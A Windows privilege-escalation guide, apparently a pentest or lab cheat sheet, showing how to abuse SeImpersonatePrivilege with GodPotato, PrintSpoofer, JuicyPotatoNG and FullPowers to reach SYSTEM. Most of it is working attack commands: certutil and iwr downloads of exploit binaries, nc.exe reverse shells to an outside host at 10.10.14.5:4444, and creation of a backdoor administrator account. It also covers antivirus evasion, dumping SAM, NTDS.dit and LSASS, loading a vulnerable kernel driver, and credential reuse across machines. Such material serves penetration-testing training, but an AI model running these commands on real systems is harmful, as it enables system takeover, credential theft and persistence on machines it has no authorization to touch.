SeImpersonatePrivilege and Potatoes: from service account to SYSTEM on Windows

If your Windows shell comes from a website on IIS, an xp_cmdshell in MSSQL or any service at all, the first thing to check is this:

whoami /priv

If SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege) shows up in the list, you are one command away from NT AUTHORITY\SYSTEM. In this catalogue it is the most repeated Windows escalation: SeImpersonate / Potatoes.

Why it works

SeImpersonatePrivilege lets a process impersonate the token of any user who authenticates to it. Windows grants it to service accounts (IIS APPPOOL\*, NT SERVICE\MSSQLSERVER, LOCAL SERVICE, NETWORK SERVICE) because they need it to serve each client with that client's permissions.

Every Potato does the same thing with different tricks:

1. Set up a fake service (a named pipe, an RPC or DCOM server) on the machine.
2. Trick a Windows component running as SYSTEM into connecting to it.
3. Impersonate the SYSTEM token that just arrived and start a process with it.

Which Potato to use

To find the version:

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
[Environment]::Is64BitOperatingSystem

Step by step

1. Upload the tool

Serve the binaries from your box and download them into a folder you can write to (C:\Windows\Temp, C:\Users\Public). Every way of doing it is in the file transfer cheat sheet.

cd C:\Windows\Temp
certutil -urlcache -f http://10.10.14.5/GodPotato-NET4.exe gp.exe
iwr http://10.10.14.5/PrintSpoofer64.exe -OutFile ps.exe

2. Check it runs as SYSTEM

.\gp.exe -cmd "cmd /c whoami"
.\ps.exe -c "cmd /c whoami"

3. Get a shell

The easiest is to fire a reverse shell with nc.exe or a PowerShell one (generate yours in reverse shells):

.\gp.exe -cmd "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
.\ps.exe -i -c powershell.exe        # interactive, if your current shell allows it
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

Another option, quieter on the network: add your own user to the administrators group and log in over WinRM or RDP.

.\gp.exe -cmd "cmd /c net user hacker P4ssw0rd! /add && net localgroup administrators hacker /add"

If you lack the privilege (but should have it)

The LOCAL SERVICE and NETWORK SERVICE accounts sometimes start with trimmed privileges. FullPowers restores the account's default privileges (SeImpersonate included) by creating a scheduled task as that same user:

.\FullPowers.exe -c "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

Other privileges that also give SYSTEM

whoami /priv may show other token privileges that are just as useful:

• SeBackupPrivilege / SeRestorePrivilege: read or write any file, for example copy SAM, SYSTEM or NTDS.dit (SeBackup).
• SeDebugPrivilege: open any process, LSASS included, or inject into a SYSTEM one.
• SeTakeOwnershipPrivilege: take ownership of a protected file (such as utilman.exe) and change its permissions.
• SeLoadDriverPrivilege: load a vulnerable driver (such as Capcom.sys) and run code in the kernel.
• SeManageVolumePrivilege: grant yourself write access over all of C:\ and replace a system DLL.

Common errors

• PrintSpoofer cannot find the pipe: the Spooler service is stopped (sc query spooler). Use GodPotato.
• The antivirus deletes the binary as soon as you upload it: try another variant (EfsPotato compiles on the machine itself with csc.exe) or read the guide on how EDRs detect you.
• JuicyPotato returns COM -> recv failed with error: 10038: the CLSID is wrong for that Windows version, or it is Windows 10 1809 or later, where it no longer works.
• The shell dies right away: launch it from a process that does not depend on your web shell, for example with cmd /c start.

What next

You are SYSTEM: dump the local credentials (see credential dumping on Windows) and try reusing them on other machines. If there is no interesting privilege, move on to misconfigured services, DLLs and tasks.